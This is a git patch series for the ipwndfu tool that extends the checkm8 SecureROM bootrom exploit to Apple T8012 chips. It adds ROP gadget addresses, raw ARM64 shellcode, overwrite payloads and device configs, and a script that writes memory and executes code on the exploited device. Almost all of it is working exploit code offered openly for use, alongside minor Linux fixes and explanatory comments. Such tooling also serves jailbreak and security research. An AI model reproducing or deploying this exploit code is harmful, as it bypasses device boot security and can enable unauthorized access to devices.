From 4d7932a285ec04a1499694ed58be8d4f975d6dfe Mon Sep 17 00:00:00 2001 From: evg Date: Sat, 7 Mar 2020 01:49:03 -0500 Subject: [PATCH 1/3] t8012 support --- checkm8.py | 45 +++++++++++++++++++++++++++++++++++++++++++++ device_platform.py | 9 ++++++++- ipwndfu | 2 ++ usbexec.py | 1 + 4 files changed, 56 insertions(+), 1 deletion(-) diff --git a/checkm8.py b/checkm8.py index a2298e9f..0dad94c2 100644 --- a/checkm8.py +++ b/checkm8.py @@ -373,6 +373,48 @@ def payload(cpid): t8011_shellcode = t8011_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(t8011_shellcode)) + t8011_handler assert len(t8011_shellcode) <= 0x400 return struct.pack('<1024sQ504x2Q496s32x', t8011_shellcode, 0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) + usb_rop_callbacks(0x1800B0800, t8011_func_gadget, t8011_callbacks) + if cpid == 0x8012: + constants_usb_t8012 = [ + 0x18001C000, # 1 - LOAD_ADDRESS + 0x6578656365786563, # 2 - EXEC_MAGIC + 0x646F6E65646F6E65, # 3 - DONE_MAGIC + 0x6D656D636D656D63, # 4 - MEMC_MAGIC + 0x6D656D736D656D73, # 5 - MEMS_MAGIC + 0x10000BD20, # 6 - USB_CORE_DO_IO + ] + constants_checkm8_t8012 = [ + 0x1800089F8, # 1 - gUSBDescriptors + 0x180003AF8, # 2 - gUSBSerialNumber + 0x10000B1CC, # 3 - usb_create_string_descriptor + 0x18000082A, # 4 - gUSBSRNMStringDescriptor + 0x18001BC00, # 5 - PAYLOAD_DEST + PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET + PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE + 0x180008B08, # 8 - PAYLOAD_PTR + ] + t8012_func_gadget = 0x100008da0 + # t8012_dc_civac = 0x10000047C + t8012_write_ttbr0 = 0x100000444 + t8012_tlbi = t8012_write_ttbr0 + 0x50 + # t8012_dmb = 0x100000488 + t8012_handle_interface_request = 0x10000BFFC + t8012_callbacks = [ + (t8012_write_ttbr0, 0x18001C000), + (t8012_tlbi, 0), + (0x18001C610 + 0x002000000, 0), + (t8012_write_ttbr0, 0x18000C000), + (t8012_tlbi, 0), + (0x18001C000, 0), + ] + + disable_wxn = b"\xe1\x07\x61\xb2\x22\x30\x40\x91\x21\x94\x18\x91\x41\x00\x03\xf9\xbf\x3f\x03\xd5\xa0\x01\x82\xd2\x00\x10\x18\xd5\x9f\x3f\x03\xd5\xdf\x3f\x03\xd5\xc0\x03\x5f\xd6" + t8012_handler = asm_arm64_x7_trampoline(t8012_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8012)[4:] + t8012_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8012) + assert len(t8012_shellcode) <= PAYLOAD_OFFSET_ARM64 + assert len(t8012_handler) <= PAYLOAD_SIZE_ARM64 + t8012_shellcode = t8012_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(t8012_shellcode)) + t8012_handler + assert len(t8012_shellcode) <= 0x400 + return struct.pack('<1024sQ504x2Q496s32x', t8012_shellcode, 0x1000006A5, 0x180000625, 0x1800006A5, disable_wxn) + usb_rop_callbacks(0x18001C800, t8012_func_gadget, t8012_callbacks) if cpid == 0x8015: constants_usb_t8015 = [ 0x18001C000, # 1 - LOAD_ADDRESS @@ -426,6 +468,7 @@ def payload(cpid): def all_exploit_configs(): t8010_nop_gadget = 0x10000CC6C t8011_nop_gadget = 0x10000CD0C + t8012_nop_gadget = 0x100008DB8 t8015_nop_gadget = 0x10000A9C4 s5l8947x_overwrite = '\0' * 0x660 + struct.pack('<20xI4x', 0x34000000) @@ -434,6 +477,7 @@ def all_exploit_configs(): s5l8960x_overwrite = '\0' * 0x580 + struct.pack('<32xQ8x', 0x180380000) t8010_overwrite = '\0' * 0x580 + struct.pack('<32x2Q16x32x2QI', t8010_nop_gadget, 0x1800B0800, t8010_nop_gadget, 0x1800B0800, 0xbeefbeef) t8011_overwrite = '\0' * 0x500 + struct.pack('<32x2Q16x32x2QI', t8011_nop_gadget, 0x1800B0800, t8011_nop_gadget, 0x1800B0800, 0xbeefbeef) + t8012_overwrite = '\0' * 0x500 + struct.pack('<32x2Q16x32x2QI', t8012_nop_gadget, 0x18001C800, t8012_nop_gadget, 0x18001C800, 0xbeefbeef) t8015_overwrite = '\0' * 0x500 + struct.pack('<32x2Q16x32x2Q12xI', t8015_nop_gadget, 0x18001C020, t8015_nop_gadget, 0x18001C020, 0xbeefbeef) return [ @@ -445,6 +489,7 @@ def all_exploit_configs(): DeviceConfig('iBoot-2651.0.0.3.3', 0x8004, None, t800x_overwrite, 5, 1), # T8004 (buttons) NEW: 1.06 seconds DeviceConfig('iBoot-2696.0.0.1.33', 0x8010, None, t8010_overwrite, 5, 1), # T8010 (buttons) NEW: 0.68 seconds DeviceConfig('iBoot-3135.0.0.2.3', 0x8011, None, t8011_overwrite, 6, 1), # T8011 (buttons) NEW: 0.87 seconds + DeviceConfig('iBoot-3401.0.0.1.16', 0x8012, None, t8012_overwrite, 6, 1), DeviceConfig('iBoot-3332.0.0.1.23', 0x8015, None, t8015_overwrite, 6, 1), # T8015 (DFU loop) NEW: 0.66 seconds ] diff --git a/device_platform.py b/device_platform.py index bbd04c2a..9e7ddab5 100644 --- a/device_platform.py +++ b/device_platform.py @@ -39,7 +39,7 @@ def __init__(self, cpid, cprv, scep, arch, srtg, rom_base, rom_size, rom_sha1, s self.dfu_load_base = 0x800000000 self.recovery_image_base = 0x1800B0000 self.recovery_load_base = 0x800000000 - if self.cpid in [0x8015]: + if self.cpid in [0x8012, 0x8015]: self.dfu_image_base = 0x18001C000 self.dfu_load_base = 0x800000000 self.recovery_image_base = 0x18001C000 @@ -110,6 +110,13 @@ def name(self): nonce_length=32, sep_nonce_length=20, demotion_reg=0x2102BC000, ), + DevicePlatform(cpid=0x8012, cprv=0x10, scep=0x01, arch='arm64', srtg='iBoot-3401.0.0.1.16', + rom_base=0x100000000, rom_size=0x100000, rom_sha1='68be532dea4cc05b393ef5f49962aef3f99d629d', + sram_base=0x180000000, sram_size=0x200000, + dram_base=0x800000000, + nonce_length=32, sep_nonce_length=20, + demotion_reg=0x2112BC000, + ), DevicePlatform(cpid=0x8015, cprv=0x11, scep=0x01, arch='arm64', srtg='iBoot-3332.0.0.1.23', rom_base=0x100000000, rom_size=0x100000, rom_sha1='96fccb1a63de1a2d50ff14555d3898a5af46e9b1', sram_base=0x180000000, sram_size=0x200000, diff --git a/ipwndfu b/ipwndfu index c90d17b3..02e8b794 100755 --- a/ipwndfu +++ b/ipwndfu @@ -73,6 +73,8 @@ if __name__ == '__main__': checkm8.exploit() elif 'CPID:8011' in serial_number: checkm8.exploit() + elif 'CPID:8012' in serial_number: + checkm8.exploit() elif 'CPID:8015' in serial_number: checkm8.exploit() else: diff --git a/usbexec.py b/usbexec.py index 43e2bc78..5fda1985 100644 --- a/usbexec.py +++ b/usbexec.py @@ -19,6 +19,7 @@ def match(self, info): ExecConfig(('SecureROM for t8010si, Copyright 2007-2015, Apple Inc.', 'ROMRELEASE', 'iBoot-2696.0.0.1.33'), aes_crypto_cmd=0x10000C8F4), ExecConfig(('SecureROM for t8011si, Copyright 2007-2015, Apple Inc.', 'ROMRELEASE', 'iBoot-3135.0.0.2.3'), aes_crypto_cmd=0x10000C994), ExecConfig(('SecureROM for t8015si, Copyright 2007-2016, Apple Inc.', 'ROMRELEASE', 'iBoot-3332.0.0.1.23'), aes_crypto_cmd=0x100009E9C), + ExecConfig(('SecureROM for t8012si, Copyright 2007-2016, Apple Inc.', 'ROMRELEASE', 'iBoot-3401.0.0.1.16'), aes_crypto_cmd=0x1000082AC), ] EXEC_MAGIC = 'execexec'[::-1] From 1129cd3268f0302be70bb92e8d22cf16328abba5 Mon Sep 17 00:00:00 2001 From: Rick Mark Date: Sat, 7 Mar 2020 19:53:00 -0800 Subject: [PATCH 2/3] Linux fixes and descriptive comments --- checkm8.py | 2 +- src/checkm8_arm64.S | 17 +++++++++++++++++ usbexec.py | 19 +++++++++++-------- 3 files changed, 29 insertions(+), 9 deletions(-) diff --git a/checkm8.py b/checkm8.py index 0dad94c2..2b66a265 100644 --- a/checkm8.py +++ b/checkm8.py @@ -536,7 +536,7 @@ def exploit(): libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) - time.sleep(0.5) + time.sleep(0.8) device = dfu.acquire_device() usb_req_stall(device) diff --git a/src/checkm8_arm64.S b/src/checkm8_arm64.S index d2f308b0..3f36cfe7 100644 --- a/src/checkm8_arm64.S +++ b/src/checkm8_arm64.S @@ -1,6 +1,8 @@ .text .pool +// These values are placeholders that are replaced in the payload +// before it is sent to the processor. They are arbitrary. .set PAYLOAD_OFFSET, 0xBAD00006 .set PAYLOAD_SIZE, 0xBAD00007 .set PAYLOAD_DEST, 0xBAD00005 @@ -77,6 +79,21 @@ copy_loop: LDP X29, X30, [SP],#0x10 RET +// The USB descriptor is a series of 32 bit little-endian words that is directly parsed +// by the USB host. More can be understood from reading the USB specification for each +// descriptor type. This is encoded from: +// +// A USB configuration descriptor +// 0902190001010580FA +// +// A USB interface descriptor +// 0904000000FE010000 +// +// A USB HID descriptor for a nil device +// 0721010A000008 +// +// The remainder is filled with zeros to alignment + USB_DESCRIPTOR: .word 0x190209, 0x80050101, 0x409fa, 0x1fe0000, 0x21070000, 0xa01, 0x8, 0x0 diff --git a/usbexec.py b/usbexec.py index 5fda1985..3b950314 100644 --- a/usbexec.py +++ b/usbexec.py @@ -1,4 +1,4 @@ -import struct, sys +import platform, struct, sys import dfu, device_platform class ExecConfig: @@ -26,13 +26,16 @@ def match(self, info): DONE_MAGIC = 'donedone'[::-1] MEMC_MAGIC = 'memcmemc'[::-1] MEMS_MAGIC = 'memsmems'[::-1] -USB_READ_LIMIT = 0x8000 -CMD_TIMEOUT = 5000 -AES_BLOCK_SIZE = 16 -AES_ENCRYPT = 16 -AES_DECRYPT = 17 -AES_GID_KEY = 0x20000200 -AES_UID_KEY = 0x20000201 +if platform.system() == 'Linux': + USB_READ_LIMIT = 0xFFF +else: + USB_READ_LIMIT = 0x8000 +CMD_TIMEOUT = 5000 +AES_BLOCK_SIZE = 16 +AES_ENCRYPT = 16 +AES_DECRYPT = 17 +AES_GID_KEY = 0x20000200 +AES_UID_KEY = 0x20000201 class PwnedUSBDevice(): def memset(self, address, c, length): self.command(self.cmd_memset(address, c, length), 0) From fc2e23e4535e2fef1112706a54a4e28f3706fdc0 Mon Sep 17 00:00:00 2001 From: Evgheni Date: Mon, 9 Mar 2020 13:31:58 -0400 Subject: [PATCH 3/3] t8012 heap fix --- checkm8.py | 2 +- ipwndfu | 3 ++- t8012_heap_fix.py | 21 +++++++++++++++++++++ 3 files changed, 24 insertions(+), 2 deletions(-) create mode 100644 t8012_heap_fix.py diff --git a/checkm8.py b/checkm8.py index 2b66a265..c959c301 100644 --- a/checkm8.py +++ b/checkm8.py @@ -489,7 +489,7 @@ def all_exploit_configs(): DeviceConfig('iBoot-2651.0.0.3.3', 0x8004, None, t800x_overwrite, 5, 1), # T8004 (buttons) NEW: 1.06 seconds DeviceConfig('iBoot-2696.0.0.1.33', 0x8010, None, t8010_overwrite, 5, 1), # T8010 (buttons) NEW: 0.68 seconds DeviceConfig('iBoot-3135.0.0.2.3', 0x8011, None, t8011_overwrite, 6, 1), # T8011 (buttons) NEW: 0.87 seconds - DeviceConfig('iBoot-3401.0.0.1.16', 0x8012, None, t8012_overwrite, 6, 1), + DeviceConfig('iBoot-3401.0.0.1.16', 0x8012, None, t8012_overwrite, 6, 1), DeviceConfig('iBoot-3332.0.0.1.23', 0x8015, None, t8015_overwrite, 6, 1), # T8015 (DFU loop) NEW: 0.66 seconds ] diff --git a/ipwndfu b/ipwndfu index 02e8b794..4cc543b3 100755 --- a/ipwndfu +++ b/ipwndfu @@ -4,7 +4,7 @@ import binascii, datetime, getopt, hashlib, struct, sys, time import dfu, nor, utilities -import alloc8, checkm8, image3_24Kpwn, limera1n, SHAtter, steaks4uce, usbexec +import alloc8, checkm8, image3_24Kpwn, limera1n, SHAtter, steaks4uce, usbexec, t8012_heap_fix from dfuexec import * def print_help(): @@ -75,6 +75,7 @@ if __name__ == '__main__': checkm8.exploit() elif 'CPID:8012' in serial_number: checkm8.exploit() + t8012_heap_fix.fix_heap() elif 'CPID:8015' in serial_number: checkm8.exploit() else: diff --git a/t8012_heap_fix.py b/t8012_heap_fix.py new file mode 100644 index 00000000..3ab90d21 --- /dev/null +++ b/t8012_heap_fix.py @@ -0,0 +1,21 @@ +import usbexec + +def fix_heap(): + d = usbexec.PwnedUSBDevice() + + calculate_block_checksum = 0x10000D4E8 + + block_1 = 0x1801edb40 + block_2 = 0x1801fffc0 + block_2_size = 0x40 + block_2_move_to = 0x1801fff80 + + if block_1 + d.read_memory_uint32(block_1 + 0x20) * 64 != block_2: + raise Exception("bad block_1") + + for i in range(0, block_2_size, 4): + m = d.read_memory_uint32(block_2 + i) + d.write_memory_uint32(block_2_move_to + i, m) + + d.write_memory_uint32(block_1 + 0x20, d.read_memory_uint32(block_1 + 0x20) - 1) + d.execute(0, calculate_block_checksum, block_1) \ No newline at end of file